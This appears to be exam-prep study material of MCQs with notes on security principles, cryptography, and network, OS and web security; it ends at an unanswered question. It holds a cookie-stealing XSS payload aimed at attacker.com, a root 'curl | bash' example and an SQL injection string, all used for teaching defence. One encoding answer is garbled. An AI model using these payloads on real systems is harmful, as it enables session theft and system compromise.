NSCT Preparation
File 10: Cyber Security (5%)

Master Table of Contents (Target: ~155 MCQs)

#	Official Subtopic	Coverage	MCQs
01-02	Introduction & Security Principles	Standard	15
03	Cryptography Basics	Standard	15
04	Network Security	Standard	12
05	Operating System Security	Standard	10
06	Web Application Security	Extended	15
07	Malware & Attack Techniques	Standard	12
08	Authentication & Access Control	Standard	12
09	Secure Software Development	Basic	8
10	Wireless & Mobile Security	Basic	8
11	Cloud & Virtualization Security	Basic	8
12	Digital Forensics	Basic	8
13	Incident Response & Management	Basic	8
14	Security Monitoring & Auditing	Basic	8
15	Cyber Laws & Ethics	Basic	8
16	Emerging Trends in Cyber Security	Basic	8
Total MCQs (File 10)			**155**

Subtopic 01-02: Introduction & Security Principles (15 MCQs)

Quick Notes

- **The CIA Triad:**
  - *Confidentiality:* Preventing unauthorized disclosure.
  - *Integrity:* Preventing unauthorized modification.
  - *Availability:* Ensuring authorized access when needed.
- **Security Principles:**
  - *Principle of Least Privilege (PoLP):* Minimum access necessary.
  - *Defense in Depth:* Layered security controls.
  - *Attack Surface:* The sum of all possible entry points an attacker can use.
- **Threat, Vulnerability, Risk:** Threat (Attacker) exploits a Vulnerability (Weakness) to create a Risk (Potential for Loss).
- **AAA:** Authentication (Who are you?), Authorization (What can you do?), Auditing (What did you do?).

Common Traps & Confusions

- **Security vs. Compliance:** Being "compliant" with a standard (like PCI-DSS) does not mean you are "secure." Compliance is a baseline, not a guarantee.
- **CIA Triad is a balance:** You can have perfect confidentiality and integrity by unplugging the server, but you will have zero availability.

MCQs

Q1. (Conceptual) An attacker launches a DDoS attack, overwhelming a server and making it unavailable to legitimate users. Which pillar of the CIA Triad has been violated?

A) Confidentiality

B) Integrity

C) Availability

D) Authentication

> Availability ensures that systems and data are accessible when needed. A DDoS attack directly targets this by making a service unusable.

Q2. (Scenario-Based) An employee with access to the HR database is given a new role in marketing. Their old HR access is never revoked. This is a violation of:

A) Separation of Duties

B) Principle of Least Privilege (PoLP)

C) Defense in Depth

D) Auditing

> PoLP requires that users only have the permissions absolutely necessary for their current job role. Failing to remove old permissions ("Privilege Creep") creates a security risk.

Q3. (Comparison) What is the difference between a **Threat** and a **Vulnerability**?

A) A Threat is always internal; a Vulnerability is external.

B) A Vulnerability is a weakness; a Threat is an actor or event that could exploit that weakness.

C) A Vulnerability is a risk; a Threat is a plan.

D) They are the same thing.

> An unpatched server has a vulnerability. A hacker trying to break into that server is a threat. Security is the practice of fixing the vulnerability before the threat can act on it.

Q4. (Conceptual) The principle of **"Defense in Depth"** suggests that:

A) Security should only focus on the most valuable assets.

B) Security should be implemented in multiple layers, assuming that any single layer can fail.

C) Only physical security is important.

D) Once a firewall is installed, the network is secure.

> Defense in Depth is a layered strategy. If an attacker gets past the firewall (Layer 1), they still have to deal with the server's OS security (Layer 2), the application's authentication (Layer 3), and database encryption (Layer 4).

Q5. (Scenario-Based) A bank's ATM system must ensure that a withdrawal deducts the correct amount from the account balance and does not change any other data. This is a requirement for:

A) Confidentiality

B) Integrity

C) Availability

D) Non-repudiation

> Integrity ensures the accuracy and trustworthiness of data. Unauthorized or incorrect modification of data is a breach of integrity.

Q6. (Code/Logic) A security analyst is looking at a server's access log. What process is being performed here?

auth.log

```
[2024-05-15] User 'admin' deleted file '/etc/config.sh'
[2024-05-15] User 'guest' accessed '/home/guest/docs'
```

A) Authentication

B) Authorization

C) Auditing

D) Encryption

> Auditing is the process of reviewing logs to determine "who did what, and when." It is crucial for accountability and forensic analysis.

Q7. (Conceptual) What does **"Non-repudiation"** guarantee?

A) That the data is encrypted.

B) That a sender cannot deny having sent a message and a receiver cannot deny having received it.

C) That the server will always be online.

D) That the user can change their password.

> Non-repudiation is typically achieved through digital signatures. It provides undeniable proof of an action, which is essential for legal and financial transactions.

Q8. (Conceptual) The sum of all points where an attacker can try to enter or extract data from a system is known as the:

A) Threat Vector

B) Attack Surface

C) Security Posture

D) Risk Exposure

> A small attack surface (e.g., only one open port) is much easier to defend than a large one (e.g., many open ports, complex APIs, and user-facing forms).

Q9. (Comparison) What is the difference between **Authentication** and **Authorization**?

A) AuthN checks what you can do; AuthZ checks who you are.

B) AuthN verifies your identity; AuthZ determines your access rights.

C) AuthN is for networks; AuthZ is for applications.

D) AuthZ happens before AuthN.

> Logging in is Authentication. Being allowed to see the "Admin" page after logging in is Authorization.

Q10. (Conceptual) Which of these is a form of **"Social Engineering"**?

A) A DDoS attack.

B) An attacker phoning an employee and pretending to be from IT to get their password.

C) A SQL Injection attack.

D) A buffer overflow.

> Social engineering attacks exploit human psychology rather than technical vulnerabilities. Phishing and pretexting are common examples.

Q11. (Scenario-Based) An attacker intercepts a bank transfer and changes the destination account number. This is a violation of:

A) Confidentiality

B) Integrity

C) Availability

D) Plausible Deniability

> Integrity is violated because the data was modified in transit by an unauthorized party.

Q12. (Conceptual) In security, what is a **"Zero-Day"** vulnerability?

A) A vulnerability that is very easy to fix.

B) A vulnerability that is known to the attacker but not yet known to the vendor or the public.

C) A vulnerability that only works on the first day of the month.

D) A vulnerability that takes zero skill to exploit.

> It is called "zero-day" because the developers have had zero days to create a patch for it, making it extremely dangerous.

Q13. (Conceptual) What is the purpose of an **Asset Inventory** in security?

A) To count the number of employees.

B) To know what you are trying to protect (hardware, software, data).

C) To manage the company's finances.

D) To test network speed.

> "You can't protect what you don't know you have." An asset inventory is the foundational first step of any security program.

Q14. (Conceptual) What is a **"Man-in-the-Middle" (MITM)** attack?

A) An attack on a server's memory.

B) An attack where the attacker secretly relays and possibly alters the communication between two parties.

C) An attack that requires physical access to the server.

D) A type of phishing email.

> In a MITM attack, the victim thinks they are talking directly to the server, but they are actually talking to the attacker, who is then talking to the server. HTTPS is the primary defense against this.

Q15. (Conceptual) Which of these is an example of **"Security through Obscurity"**?

A) Encrypting all data with AES-256.

B) Requiring multi-factor authentication.

C) Hiding a configuration file in a strange folder and hoping no one finds it.

D) Using a firewall to block all incoming traffic.

> Security through Obscurity is a weak strategy because it relies on secrecy. Real security should assume the attacker knows everything about the system's design and still cannot break it.

Deep Dive: The CIA Triad in Practice

- **Confidentiality Attack:** Packet Sniffing (solved by Encryption).
- **Integrity Attack:** Man-in-the-Middle data modification (solved by Hashing/Signatures).
- **Availability Attack:** DDoS (solved by Load Balancers/Traffic Scrubbing).

These three form the cornerstone of all security analysis. When evaluating a system, always ask: "How can I read it? How can I change it? How can I stop it?"

Stable Web Resources

- NIST Computer Security Resource Center
- SANS Institute

Quick Revision Cheat Sheet

- **CIA:** Confidentiality, Integrity, Availability.
- **AAA:** AuthN, AuthZ, Auditing.
- **Least Privilege:** Minimum rights.
- **Defense in Depth:** Layers.
- **Threat:** Actor. **Vulnerability:** Weakness. **Risk:** Impact.

END OF SUBTOPIC 02 — MOVING TO SUBTOPIC 03

Subtopic 03: Cryptography Basics (15 MCQs)

Quick Notes

- **Cryptography:** The science of secure communication in the presence of adversaries.
- **Encryption:** Converting plaintext into ciphertext. **Decryption:** Reverting ciphertext to plaintext.
- **Symmetric Encryption:** The same key is used for both encryption and decryption (e.g., AES). Fast, but has a key distribution problem.
- **Asymmetric Encryption (Public Key):** Uses a key pair: a public key (for encryption) and a private key (for decryption) (e.g., RSA). Solves key distribution but is slower.
- **Hashing:** A one-way function that creates a unique, fixed-size "fingerprint" of data (e.g., SHA-256). Used for integrity verification.
- **Digital Signature:** An encrypted hash of a message, created with the sender's private key. Provides Integrity, Authentication, and Non-repudiation.

Common Traps & Confusions

- **Encryption vs. Hashing:** Encryption is a two-way process (you can decrypt). Hashing is a one-way process (you cannot un-hash). You encrypt data you need to read later; you hash data you only need to verify (like passwords).
- **MD5/SHA-1 are NOT for security:** They are broken. Only use modern hashes like SHA-256 or SHA-3.
- **Key Length:** A longer key means more possible combinations, making brute-force attacks harder.

MCQs

Q1. (Conceptual) What is the main advantage of **Asymmetric Encryption** over Symmetric Encryption?

A) It is significantly faster.
B) It solves the key distribution problem, as the public key can be shared openly.
C) It uses a single key for both encryption and decryption.
D) It cannot be broken by quantum computers.

> In symmetric encryption, you must find a secure way to share the secret key with the other party. In asymmetric, you can post your public key on a website, and anyone can use it to send you encrypted data that only you can decrypt with your private key.

Q2. (Scenario-Based) An application stores user passwords in a database. What is the most secure method for this?

A) Store them as plain text.
B) Encrypt them with AES.
C) Hash them with a salted, slow algorithm like bcrypt or Argon2.
D) Encrypt them with RSA.

> You should never need to "decrypt" a user's password. You only need to verify it. By hashing the password, you store a one-way fingerprint. A slow, salted hash prevents brute-force and rainbow table attacks.

Q3. (Code/Logic) A developer is creating a **Digital Signature**. What is the correct sequence of operations?

A) Encrypt the message with the recipient's public key.
B) Hash the message, then encrypt the hash with the sender's private key.
C) Hash the message, then encrypt the hash with the recipient's public key.
D) Encrypt the entire message with the sender's private key.

> Encrypting the hash (not the full message) is efficient. Using the sender's private key ensures that only the sender could have created it (Authentication/Non-repudiation).

Q4. (Conceptual) In a **Hybrid Encryption** system (like TLS/SSL), how are symmetric and asymmetric keys used?

A) Symmetric is for authentication; Asymmetric for speed.

B) Asymmetric encryption is used to securely exchange a symmetric "session key," which is then used to encrypt the bulk data.

C) Only Asymmetric is used.

D) Only Symmetric is used.

> This gets the best of both worlds. The slow Asymmetric crypto is used only once (to share the key safely), and the fast Symmetric crypto is used for the actual high-volume data transfer.

Q5. (Conceptual) Which of the following is a key property of a cryptographic **Hash Function**?

A) It is reversible (can be un-hashed).

B) It is deterministic (the same input always produces the same output).

C) It produces a variable-length output.

D) It requires a secret key to compute.

> A hash function must be deterministic. If hashing "hello" produced a different result every time, it would be impossible to use it for verification.

Q6. (Code-Tracing) A system uses AES-256 for encryption. What does the "256" refer to?

A) The number of rounds of encryption.

B) The block size in bytes.

C) The key size in bits.

D) The speed of the algorithm in MB/s.

> AES can use key sizes of 128, 192, or 256 bits. A longer key provides a higher level of security against brute-force attacks.

Q7. (Conceptual) What is a **"Salt"** in the context of password hashing?

A) A seasoning for food.

B) A random string appended to a password before hashing to prevent rainbow table attacks.

C) The username of the user.

D) A second, backup password.

> If two users have the same password "12345", adding a unique salt to each (e.g., "12345saltA" and "12345saltB") ensures that their final stored hashes are completely different.

Q8. (Scenario-Based) A user wants to verify that a downloaded software file has not been tampered with. The website provides an SHA-256 hash of the original file. What should the user do?

A) Encrypt the downloaded file with SHA-256.

B) Compute the SHA-256 hash of their downloaded file and compare it to the one on the website.

C) Ignore the hash as it is for developers only.

D) Email the hash to the company.

> This is the classic use case for hashing: integrity verification. If the hashes match, the user can be confident the file is identical to the original.

Q9. (Comparison) What is the main difference between **Stream Ciphers** and **Block Ciphers**?

A) Stream ciphers are only for video.

B) Stream ciphers encrypt data one bit or byte at a time; Block ciphers operate on fixed-size blocks of data.

C) Block ciphers are always faster.

D) Stream ciphers do not use a key.

> RC4 is a classic stream cipher; AES is a classic block cipher. Stream ciphers are often used for real-time communication, while block ciphers are used for file encryption.

Q10. (Conceptual) What does a **Certificate Authority (CA)** do?

A) It writes encryption algorithms.

B) It acts as a trusted third party that verifies the identity of a website and issues digital certificates (for HTTPS).

C) It manages the DNS root servers.

D) It sells usernames and passwords.

> Your browser trusts CAs (like Let's Encrypt). When you visit a site, it presents a certificate signed by a CA. Your browser verifies the signature to ensure you are talking to the real site, not an imposter.

Q11. (Conceptual) In a public key system, if Bob wants to send a confidential message to Alice, he should encrypt it with:

A) Bob's Public Key

B) Bob's Private Key

C) Alice's Public Key

D) Alice's Private Key

> Data encrypted with a public key can only be decrypted by the corresponding private key. Since only Alice has her private key, she is the only one who can read the message.

Q12. (Conceptual) What is **"Collision Resistance"** in a hash function?

A) The ability to produce the same hash for different inputs.

B) It should be computationally infeasible to find two different inputs that produce the same hash output.

C) The hash function is very fast.

D) The hash output is very long.

> If an attacker can create a collision, they could create a malicious file that has the same hash as a legitimate file, allowing them to bypass integrity checks.

Q13. (Conceptual) What is **Kerckhoffs's Principle**?

A) A cryptosystem should be easy to remember.

B) A cryptosystem should be secure even if everything about the system, except the key, is public knowledge.

C) The key should be very long.

D) The algorithm should be patented.

> This is the opposite of "Security by Obscurity." It states that the security of a system must rely on the secrecy of the key, not the secrecy of the algorithm.

Q14. (Scenario-Based) An attacker has a list of password hashes. They pre-compute hashes for all common passwords (like '123456', 'password'). What is this attack called?

A) Brute-Force Attack

B) Rainbow Table Attack

C) Social Engineering Attack

D) Denial of Service Attack

> A rainbow table is a lookup table. The attacker just looks up the stolen hash and finds the corresponding plaintext password. Salting is the primary defense against this.

Q15. (Conceptual) The process of using a public key to verify that a message was signed with the corresponding private key provides:

A) Confidentiality only.

B) Authentication and Non-repudiation.

C) Availability only.

D) Data compression.

> If you can decrypt the signature with the public key, it proves that the message could only have come from the person who holds the private key (Authentication) and they cannot deny sending it (Non-repudiation).

Deep Dive: The TLS Handshake

When you connect to an HTTPS site, a complex handshake occurs:

1. **Client Hello:** The browser sends its supported cipher suites and TLS version.
2. **Server Hello:** The server picks a cipher suite, sends its SSL Certificate, and its public key.
3. **Client Verification:** The browser checks the certificate with a trusted CA.
4. **Key Exchange:** The browser generates a symmetric "session key," encrypts it with the server's public key, and sends it to the server.
5. **Encrypted Session:** Both sides now have the same symmetric key, and all further communication is encrypted with it.

Stable Web Resources

- Wikipedia: Cryptography
- SSL Labs: SSL Server Test (Tool)

Quick Revision Cheat Sheet

- **Symmetric:** One key (AES). Fast. Key distribution problem.
- **Asymmetric:** Public/Private keys (RSA). Slow. Solves key distribution.
- **Hashing:** One-way (SHA-256). For Integrity.
- **Digital Signature:** Hash + Encrypt with Private Key. For Auth/Non-repudiation.
- **TLS/SSL:** Hybrid crypto for web.

END OF SUBTOPIC 03 — MOVING TO SUBTOPIC 04

Subtopic 04: Network Security (12 MCQs)

Quick Notes

- **Firewalls:**
  - *Packet Filtering:* Inspects source/destination IP and port (Layer 3/4).
  - *Stateful Inspection:* Tracks the state of active connections to prevent unauthorized incoming packets.
  - *Web Application Firewall (WAF):* Inspects application-level traffic (HTTP) to block SQLi and XSS (Layer 7).
- **VPN (Virtual Private Network):** Creates an encrypted "tunnel" over a public network. **IPsec** is common for site-to-site; **SSL/TLS** is common for remote access.
- **Intrusion Systems:**
  - *IDS:* Passive monitoring and alerting.

    - *IPS:* Active monitoring and automatic blocking of malicious packets.
- **DMZ (Demilitarized Zone):** A buffer subnet that contains external-facing services (Web, Mail) to protect the internal private network.
- **Zero Trust:** A security framework requiring all users/devices, inside or outside the network, to be authenticated and authorized continuously.

Common Traps & Confusions

- **IDS vs. IPS:** Remember that an IDS is like a security camera (it watches and records), while an IPS is like a security guard (it watches and stops the intruder).
- **Internal Threats:** Most firewalls only filter traffic at the perimeter (ingress/egress). They often fail to stop an attacker who has already gained access to an internal machine (Lateral Movement).
- **VPN Privacy:** A VPN encrypts the connection between you and the VPN server, but it does *not* encrypt your data once it leaves the VPN server to the final destination unless HTTPS is used.

MCQs

Q1. (Conceptual) Which type of firewall is specifically designed to understand and filter traffic based on specific web-based attacks like **Cross-Site Scripting (XSS)** and **SQL Injection**?

A) Packet Filtering Firewall

B) Stateful Inspection Firewall

C) Web Application Firewall (WAF)

D) Circuit-Level Gateway

> A WAF operates at the Application Layer (Layer 7). Unlike traditional firewalls that look at IPs and ports, a WAF looks at the actual HTML/HTTP content to find malicious patterns.

Q2. (Scenario-Based) An organization wants to connect its branch office in Karachi to its main office in Islamabad over the public internet while ensuring all data remains confidential. Which technology is required?

A) An open Proxy server

B) A Layer 2 Switch

C) An IPsec VPN

D) A VLAN

> IPsec (Internet Protocol Security) is the industry standard for creating "Site-to-Site" VPNs, providing encryption and authentication for all traffic between two network gateways.

Q3. (Conceptual) In a standard network architecture, where should a **Public Web Server** be placed to minimize risk to the internal corporate database?

A) Directly on the internal LAN.

B) Inside a DMZ (Demilitarized Zone).

C) Outside the external firewall.

D) On a private cloud with no internet access.

> A DMZ isolates public-facing services. If the web server is hacked, the attacker is still separated from the sensitive internal network by another firewall layer.

Q4. (Code/Logic) A network admin views the following firewall log entry. What is the most likely activity being performed by the source IP?

firewall.log

```
SRC: 192.168.1.50 DEST: 10.0.0.5 PORT: 21 [REJECT]
SRC: 192.168.1.50 DEST: 10.0.0.5 PORT: 22 [REJECT]
SRC: 192.168.1.50 DEST: 10.0.0.5 PORT: 23 [REJECT]
SRC: 192.168.1.50 DEST: 10.0.0.5 PORT: 80 [ACCEPT]
```

A) A successful DDoS attack.

B) Port Scanning / Reconnaissance.

C) A SQL Injection attempt.

D) A VPN connection request.

> The log shows a single source IP attempting to connect to multiple sequential ports (21, 22, 23) on a single destination. This is a classic "Port Scan" used to find which services are open/vulnerable.

Q5. (Conceptual) What is the primary functional difference between an **IDS** and an **IPS**?

A) IDS is hardware; IPS is software.

B) IDS is for external threats; IPS is for internal threats.

C) IDS only detects and alerts on suspicious activity; IPS detects and automatically takes action to block the activity.

D) IDS is faster than IPS.

> Intrusion Detection (IDS) is out-of-band (passive); Intrusion Prevention (IPS) is in-line (active), meaning traffic must pass through it, allowing it to drop malicious packets in real-time.

Q6. (Scenario-Based) A company sets up a **Honeypot**. What is the primary purpose of this system?

A) To host the company's production database.

B) To act as a decoy system to lure attackers away from real assets and study their methods.

C) To provide free Wi-Fi to guests.

D) To speed up network routing.

> A Honeypot has no legitimate business value. Any interaction with it is assumed to be malicious, allowing security teams to gather intelligence on attacker behavior without risking real data.

Q7. (Conceptual) Why is **HTTPS** necessary even if a user is connected to a "Secure" corporate VPN?

A) VPNs do not support web traffic.

B) HTTPS makes the images load faster.

C) The VPN only encrypts the "tunnel" to the office; the traffic leaving the office to the internet is visible if not encrypted with HTTPS.

D) VPNs only work on Layer 2.

> Security requires "End-to-End" encryption. A VPN provides "Point-to-Point" encryption. Once the data leaves the VPN gateway, it is vulnerable unless protected by its own application-layer encryption (HTTPS).

Q8. (Comparison) What is the difference between **Unicast** and **Anycast** from a security perspective during a DDoS attack?

A) Unicast is safer than Anycast.

B) Anycast allows attack traffic to be distributed across multiple global nodes, whereas Unicast directs all attack traffic to a single target.

C) Anycast is only for local networks.

D) Unicast uses more power.

> Anycast "dilutes" a DDoS attack. If a botnet in Asia attacks an Anycast IP, only the Asian node of the service is impacted, while the rest of the world remains unaffected.

Q9. (Conceptual) Which network security model operates on the principle of **"Never Trust, Always Verify"**?

A) Perimeter Defense

B) Walled Garden

C) Zero Trust Architecture

D) Open Systems Interconnect

> Zero Trust removes the concept of an "internal trusted network." Every request for a resource must be authenticated and authorized, regardless of where the request originates.

Q10. (Scenario-Based) An attacker uses **ARP Spoofing** to redirect traffic. At which OSI layer does this attack occur?

A) Physical Layer

B) Data Link Layer (Layer 2)

C) Network Layer (Layer 3)

D) Transport Layer (Layer 4)

> ARP (Address Resolution Protocol) maps IPs to MAC addresses. Since MAC addresses are a Layer 2 concept, ARP spoofing is a Data Link layer attack.

Q11. (Conceptual) What does **Network Segmentation** achieve?

A) It makes the network cables shorter.

B) It limits the "Blast Radius" of an attack by preventing an attacker from moving laterally between different parts of the network.

C) It increases the total bandwidth of the ISP.

D) It converts IPv4 to IPv6 automatically.

> By splitting the network (e.g., using VLANs), you ensure that a compromised laptop in the "Marketing" department cannot access the "Server" department without passing through a controlled gateway/firewall.

Q12. (Comparison) How does a **Stateful Firewall** handle a return packet from a website?

A) It blocks it by default.

B) It checks its "State Table" to see if the packet is a response to an existing internal request and allows it if a match is found.

C) It asks the administrator for permission.

D) It only checks the destination IP.

> Stateful firewalls are "aware" of connections. If you send a request out, the firewall remembers it and automatically lets the specific response back in, without needing a manual rule for every possible return packet.

Deep Dive: Intrusion Detection vs. Intrusion Prevention

The choice between IDS and IPS is a balance of **Security vs. Availability**:

- **IDS (Detection):** Sits on a "span port" or "mirror port." It receives a *copy* of the traffic. It cannot stop a packet, but it has zero impact on network latency. It is great for visibility and logging.
- **IPS (Prevention):** Sits "in-line" (traffic flows through it). It can drop packets instantly. However, if the IPS hardware fails or the software crashes, the **entire network link goes down** (Fail-Closed) or becomes insecure (Fail-Open).

Modern enterprises often use IDS for internal monitoring and IPS at the very edge of the network.

Stable Web Resources

- Wikipedia: Network Security
- CheckPoint: What is a Firewall?

Quick Revision Cheat Sheet

- **Packet Filter:** IP/Port check (Fastest).
- **Stateful:** Connection tracking (Smartest).
- **WAF:** Web logic check (Layer 7).
- **VPN:** Encryption tunnel.
- **DMZ:** Public server buffer zone.
- **Zero Trust:** Verify everything, assume nothing is safe.
- **Honeypot:** Decoy for intelligence.

END OF SUBTOPIC 04 — MOVING TO SUBTOPIC 05

Subtopic 05: Operating System Security (10 MCQs)

Quick Notes

- **OS Hardening:** The process of securing an operating system by reducing its surface of vulnerability through removing unnecessary software, disabling unused services, and applying patches.
- **Least Privilege:** Enforced at the OS level by ensuring users and processes run with the lowest security clearance required.
- **Kernel vs. User Mode:** The hardware-level separation that prevents user applications from directly accessing system memory or hardware.
- **ASLR (Address Space Layout Randomization):** A security technique that randomly arranges the address space positions of key data areas to prevent buffer overflow exploits.
- **DEP (Data Execution Prevention):** Prevents code from executing in non-executable memory regions (like the stack or heap).
- **Access Control Models:**
    - *DAC (Discretionary):* Owner controls access (e.g., Windows/Linux files).
    - *MAC (Mandatory):* System-enforced labels (e.g., SELinux).

Common Traps & Confusions

- **Root/Administrator:** Running as a superuser is the most common OS security mistake. If a browser is hacked while running as root, the attacker has full system control immediately.
- **Patching vs. Reinstalling:** Patching updates specific vulnerable components. Simply reinstalling an OS from an old disc leaves the same vulnerabilities open.
- **setuid bit:** In Unix, this allows a program to run with the owner's privileges. It is a powerful tool but a common target for privilege escalation attacks.

MCQs

Q1. (Conceptual) What is the primary purpose of **Address Space Layout Randomization (ASLR)** in modern operating systems?

A) To make the file system faster.

B) To make it difficult for an attacker to predict the memory address of specific system functions, hindering buffer overflow attacks.

C) To encrypt the user's hard drive.

D) To prevent the CPU from overheating.

> ASLR randomly changes the memory locations of system libraries and executable code every time the system boots. Even if an attacker can overflow a buffer, they won't know where the "malicious jump" should point to.

Q2. (Scenario-Based) A security engineer wants to ensure that even if a user is the "Owner" of a file, they cannot grant access to another unauthorized user. Which access control model should be implemented?

A) Discretionary Access Control (DAC)

B) Mandatory Access Control (MAC)

C) Role-Based Access Control (RBAC)

D) Identity-Based Access Control (IBAC)

> In DAC (common in standard Linux), the owner has total control. In MAC (like SELinux), the security policy is centrally managed by the system based on security labels, and even the owner cannot override it.

Q3. (Code-Tracing) A system administrator runs the following command on a Linux server. What is the security implication?

bash - hardening

```bash
$ systemctl disable telnet.socket
$ systemctl stop telnet.socket
```

A) It increases the encryption strength of the server.

B) It reduces the attack surface by disabling an insecure, plaintext remote access service.

C) It prevents the administrator from logging in via SSH.

D) It deletes the user's password.

> Telnet is highly insecure as it transmits data (including passwords) in cleartext. Disabling unused or insecure services is a fundamental step in OS Hardening.

Q4. (Conceptual) What does **Data Execution Prevention (DEP)** do?

A) It prevents users from deleting files.

B) It marks certain memory regions (like the stack) as non-executable, preventing attackers from running malicious code injected into data buffers.

C) It speeds up the execution of authorized programs.

D) It automatically backups the OS.

> DEP (or NX bit) ensures that the CPU will only execute code from memory regions specifically marked as executable. This stops many "stack-smashing" attacks where code is injected into a data buffer and then executed.

Q5. (Scenario-Based) An attacker gains access to a low-privilege service account and uses a kernel vulnerability to gain "Root" access. What is this type of attack called?

A) Cross-Site Scripting

B) Horizontal Movement

C) Vertical Privilege Escalation

D) Brute Force

> Vertical Privilege Escalation occurs when a user gains a higher level of permission than they were originally granted (e.g., User to Admin). Horizontal would be User A gaining User B's permissions.

Q6. (Conceptual) What is the role of the **Trusted Platform Module (TPM)** chip in OS security?

A) To increase the CPU clock speed.

B) To provide a hardware-based root of trust for storing cryptographic keys and ensuring system integrity (Secure Boot).

C) To act as a secondary hard drive.

D) To manage the internet connection.

> The TPM is a dedicated microcontroller that secures hardware by integrating cryptographic keys into devices. It is used for disk encryption (like BitLocker) and verifying that the OS bootloader hasn't been tampered with.

Q7. (Comparison) Compare a **Standard User** account with a **Service Account**.

A) Standard users are for software; Service accounts are for people.

B) Service accounts are used by automated processes and usually have no interactive login capability to reduce risk.

C) Service accounts always have root privileges.

D) There is no difference.

> By creating specialized service accounts for applications (like a database service), the OS can limit the account's permissions to *only* what that specific app needs, following the Principle of Least Privilege.

Q8. (Scenario-Based) You find a file on a Linux server with permissions `-rwsr-xr-x`. What does the `s` in the owner's execution spot signify?

A) The file is a system file.

B) The Setuid bit is set; the file will execute with the permissions of the file owner rather than the user.

C) The file is encrypted.

D) The file is shared via network.

> The `setuid` (Set User ID) bit is a powerful but risky feature. If the owner is `root`, any user who runs this file will temporarily gain root privileges during the execution of that program.

Q9. (Conceptual) What is **Operating System Hardening**?

A) Replacing the hard drive with a solid-state drive.

B) The act of securing an OS by minimizing its attack surface (disabling services, patching, configuring firewalls).

C) Making the OS run faster by overclocking.

D) Installing an antivirus.

> Hardening is a proactive multi-step process to secure an OS beyond its default "out of the box" configuration.

Q10. (Code-Tracing) What is the security risk of the following terminal output for an administrator account?

root-shell

```
# Current user is root
# curl -s https://unknown-site.com/install.sh | bash
```

A) The website might be slow.

B) Bash is an outdated shell.

C) The script is being executed with full administrative privileges without being inspected, allowing for a total system compromise.

D) The URL is not using port 80.

> Piping a remote script directly into bash while running as root is one of the most dangerous practices in OS administration. It gives the remote script total control to install malware or backdoors.

Deep Dive: Kernel Self-Protection

Modern kernels implement several "Self-Protection" technologies to stay secure:

- **KASLR (Kernel ASLR):** Similar to standard ASLR, but it randomizes where the kernel itself is loaded into memory, preventing "Return-to-libc" attacks.
- **Control-Flow Integrity (CFI):** Ensures that a program's execution flow follows a predetermined graph, preventing an attacker from hijacking a function pointer to jump to their own shellcode.
- **Kernel Page-Table Isolation (KPTI):** Separates user-space and kernel-space page tables to prevent hardware-level side-channel attacks like *Meltdown*.

Stable Web Resources

- Wikipedia: OS Hardening

Quick Revision Cheat Sheet

- **ASLR:** Randomizes memory locations.
- **DEP/NX:** Marks memory as non-executable.
- **PoLP:** Give users only the rights they need.
- **Hardening:** Disable services + Patching.
- **Kernel Mode:** High privilege. **User Mode:** Restricted.
- **TPM:** Hardware security module.
- **setuid:** Execute as owner (Security risk).

END OF SUBTOPIC 05 — MOVING TO SUBTOPIC 06

Subtopic 06: Web Application Security (15 MCQs)

Quick Notes

- **OWASP Top 10:** A standard awareness document for developers and web application security, representing a broad consensus on the most critical security risks.
- **Injection (SQLi):** Occurs when untrusted data is sent to an interpreter as part of a command or query. Defense: Use **Parameterized Queries**.
- **Cross-Site Scripting (XSS):** Injecting malicious scripts into web pages viewed by other users.
    - *Stored:* Script is saved on the server.
    - *Reflected:* Script is part of a URL/request.
- **Cross-Site Request Forgery (CSRF):** Tricking a victim into submitting a malicious request to a web application where they are currently authenticated.
- **Insecure Direct Object References (IDOR):** When an app provides direct access to objects based on user-supplied input (e.g., `?id=101`).
- **Security Headers:** HSTS (Enforce HTTPS), CSP (Limit script sources), X-Frame-Options (Prevent Clickjacking).

Common Traps & Confusions

- **XSS vs. CSRF:** XSS is about **stealing** data (like cookies) or running code. CSRF is about **tricking** the user into performing an action they didn't intend to do.
- **Client-Side Validation:** Never rely on JavaScript for security validation. An attacker can easily bypass browser checks using tools like Burp Suite or Curl.
- **Encryption vs. Hashing:** In web apps, encrypt data you need to retrieve (like PII), but **hash** data you only need to verify (like passwords).

MCQs

Q1. (Scenario-Based) An attacker enters the following string into a search box: `<script>document.location='http://attacker.com/steal?c='+document.cookie</script>`. If the site displays this back to the user without filtering, what attack has occurred?

A) SQL Injection

B) Cross-Site Scripting (XSS)

C) Cross-Site Request Forgery (CSRF)

D) Directory Traversal

> This is a classic XSS attack where a script is executed in the victim's browser to steal session cookies and send them to a malicious server.

Q2. (Code-Tracing) Analyze this Node.js code snippet. Why is it vulnerable to **SQL Injection**?

backend.js

```
const query = "SELECT * FROM users WHERE id = " + req.query.id;
db.execute(query);
```

A) It uses a SELECT statement.

B) It uses string concatenation to build a query, allowing an attacker to manipulate the SQL logic via the 'id' parameter.

C) It is missing a semicolon at the end of the query.

D) It doesn't use the 'admin' keyword.

> String concatenation allows a user to input something like `1 OR 1=1`, which would change the query to return all users. The correct fix is using **parameterized queries** (e.g., `WHERE id = ?`).

Q3. (Conceptual) What is the primary defense against **Cross-Site Request Forgery (CSRF)** attacks?

A) Using a Firewall.

B) Encoding all HTML output.

C) Using unique anti-CSRF tokens for every state-changing request.

D) Encrypting the database.

> CSRF tokens are unique, secret, and unpredictable values generated by the server. If a malicious site tries to forge a request, it won't know the correct token, and the server will reject the action.

Q4. (Scenario-Based) A user changes the URL from `mysite.com/invoice/500` to `mysite.com/invoice/501` and is able to see someone else's private invoice. This vulnerability is known as:

A) Broken Authentication

B) SQL Injection

C) Insecure Direct Object Reference (IDOR)

D) Cross-Site Scripting

> IDOR happens when an application exposes a reference to an internal implementation object (like a row ID in a database) without an authorization check to ensure the user owns that object.

Q5. (Conceptual) Which HTTP header is used to prevent the browser from rendering a page inside an `<iframe>`, effectively stopping **Clickjacking** attacks?

A) Strict-Transport-Security

B) X-Frame-Options

C) Content-Type

D) Access-Control-Allow-Origin

> The `X-Frame-Options` header (or the `frame-ancestors` directive in CSP) tells the browser whether it's okay to frame the page. Setting it to `DENY` or `SAMEORIGIN` stops clickjacking.

Q6. (Code-Tracing) To prevent **XSS**, a developer converts the character `<` into `<` before displaying user-provided text on a page. This process is called:

A) Hashing

B) Salting

C) Output Encoding

D) Obfuscation

> Output encoding ensures that the browser treats user-supplied data as content (text) rather than executable code (HTML tags).

Q7. (Conceptual) What is the purpose of the **Same-Origin Policy (SOP)** in web browsers?

A) To make sure all users use the same browser version.

B) To prevent a script loaded from one origin from getting or setting properties of a document from a different origin.

C) To force all websites to use HTTPS.

D) To restrict the number of tabs a user can open.

